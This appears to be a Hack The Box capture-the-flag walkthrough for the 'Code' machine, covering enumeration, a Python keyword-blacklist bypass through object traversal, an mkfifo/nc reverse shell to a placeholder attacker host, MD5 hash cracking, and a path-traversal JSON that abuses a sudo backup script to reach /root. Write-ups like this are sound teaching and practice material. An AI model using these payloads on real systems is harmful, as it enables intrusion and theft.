Code - Hack The Box
This machine, Code, is part of Hack The Box (HTB) and is rated as an easy-level Linux challenge. It provides a great opportunity to practice web enumeration, dynamic code evaluation bypass techniques, lateral movement and privilege escalation. Throughout this challenge, we will explore a restricted web application, find a way to execute arbitrary code despite strong filtering, leverage credentials to move between user accounts, and ultimately gain root access. Let’s dive in and break into this machine!
Initial enumeration
To start, we add the target’s IP address to our /etc/hosts file and perform a full port scan using nmap :
1
nmap code.htb -sV -sC -p- -oN nmapres
The scan reveals two open ports :
22/tcp: usingsshservice5000/tcp: usinghttpservice
Next, we can perform a directory enumeration using gobuster.
1
gobuster dir -u http://code.htb:5000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words.txt > gobusterres
The scan completed successfully and identified the following endpoints:
-
/login(HTTP 200 OK) — Login page. -
/register(HTTP 200 OK) — User registration page. -
/logout(HTTP 302 Found) — Redirects to/. -
/about(HTTP 200 OK) — About page. -
/codes(HTTP 302 Found) — Redirects to/login.
The presence of /login, /register, and /codes suggests that the application likely implements user authentication and authorization mechanisms. The /codes endpoint could potentially expose sensitive functionality, but it appears to be protected behind a login page. These findings guided the next steps of the enumeration toward authentication and session management testing.
To gather initial information about the web server, I ran WhatWeb against http://10.10.11.62:5000.
The results identified key technologies used by the application :
-
Web Server: Gunicorn version 20.0.4, indicating a Python-based backend.
-
Frontend Technologies: HTML5 and jQuery 3.6.0.
-
Page Title: “Python Code Editor”, suggesting that the application may allow users to interact with or execute Python code dynamically.
These details pointed toward a potentially vulnerable functionality involving code execution, and guided the next phase of testing.
Let’s check the web page at http://code.htb:5000 :
We can see that we can run Python code. And I first tried to execute the following code :
1
2
3
4
5
import subprocess
result = subprocess.run(["whoami"], capture_output=True, text=True)
print(result.stdout.strip())
During the initial attempts, the system triggered a code validation mechanism, effectively blocking our payload :
Based on this behavior, we inferred the presence of a keyword blacklist, likely filtering dangerous terms such as import, eval, exec or open.
To bypass this restriction, our strategy was to perform an object traversal attack.
Instead of writing forbidden keywords directly, we leveraged Python’s introspection features to dynamically retrieve the eval function from the runtime environment.
We used the following code snippet to enumerate the subclasses of the base object class, attempting to locate a reference to eval through the __globals__ attribute :
1
2
3
4
5
6
7
8
for i in range(100):
try:
x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
if 'ev'+'al' in x:
print(x['ev'+'al']("2+2"))
break
except Exception as e:
continue
As shown, the payload successfully executed and evaluated the expression
2+2.
This demonstrates that despite restrictive keyword filtering, runtime object graph traversal combined with dynamic string reconstruction allows us to access restricted functionalities and execute arbitrary code.
Initial foothold
Now, we are leveraging the same technique to establish a reverse shell.
The code snippet below outlines how we modify the payload to execute a reverse shell :
1
2
3
4
5
6
7
8
for i in range(100):
try:
x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
if 'ev'+'al' in x:
print(x['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f").re'+'ad()'))
break
except Exception as e:
continue
Notice that critical keywords such as eval, import, and os are deliberately split and reconstructed at runtime.
This technique helps to bypass any basic keyword filtering or blacklisting mechanisms that may be implemented by the application to prevent command injection or code execution.
When executed, this payload results in a reverse shell connection being established between the target machine and our local machine (as defined by <LHOST> and <LPORT>).
This enables us to interact with the target system through a shell, thus gaining unauthorized control.
After executing the payload, we successfully triggered the reverse shell.
We can see that we are connected as app-producted user :
User flag
And we can get the user flag :
Upon inspecting the app.py source code, we observe that the application relies on a database.db file for data storage :
From this database, we are able to extract the password hashes of two users :
Further analysis of the register route within the application confirms that these passwords are hashed using the MD5 algorithm :
Lateral movement
Knowing this, we used hashcat in order to crack martin’s password :
1
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Once the password was recovered, we were able to connect to martin’s account via SSH :
Exploiting backy.sh to access /root
During post-exploitation enumeration, we identified that martin could execute /usr/bin/backy.sh as root without password via sudo.
So we can check the script backy.sh :
After analyzing the backy.sh script, we noticed that it processes a user-supplied JSON file using jq to sanitize the directories_to_archive field by removing any ../ sequences.
It then ensures that the resulting directories start with /var/ or /home/.
However, by carefully crafting the JSON input with sequences like ....//../....//, we can bypass the sanitization:
-
The
gsub("\\.\\./"; "")replacement only removes exact../patterns, but not variations like....//../....//. -
Thus, after the weak cleaning process, the final resolved path still points to
/root/.
Here is the crafted xploit.json:
1
2
3
4
{
"directories_to_archive" : ["/home/....//../....//root/"],
"destination" : "/tmp"
}
By executing the script with our malicious JSON :
1
sudo /usr/bin/backy.sh xploit.json
The script allowed the backup of the /root/ directory into /tmp under a .tar.bz2 archive.
Root flag
To retrieve the root flag, we extracted the .tar.bz2 archive with the following command :
1
tar -xvjf code_home_.._.._root_2025_April.tar.bz2
After extraction, we were able to access the root directory and obtain the root.txt flag :
Additionally, the archive contained the root user’s private SSH key, allowing us to gain full root access via SSH :
Congratulations!
This challenge was a great exercise to practice advanced enumeration, dynamic code execution bypassing filtering mechanisms and lateral movement between users. From crafting payloads with object traversal to exploiting a backup script to access sensitive directories, this CTF emphasized creativity, persistence and attention to subtle misconfigurations to ultimately achieve root access.
Thanks for reading, and happy hacking!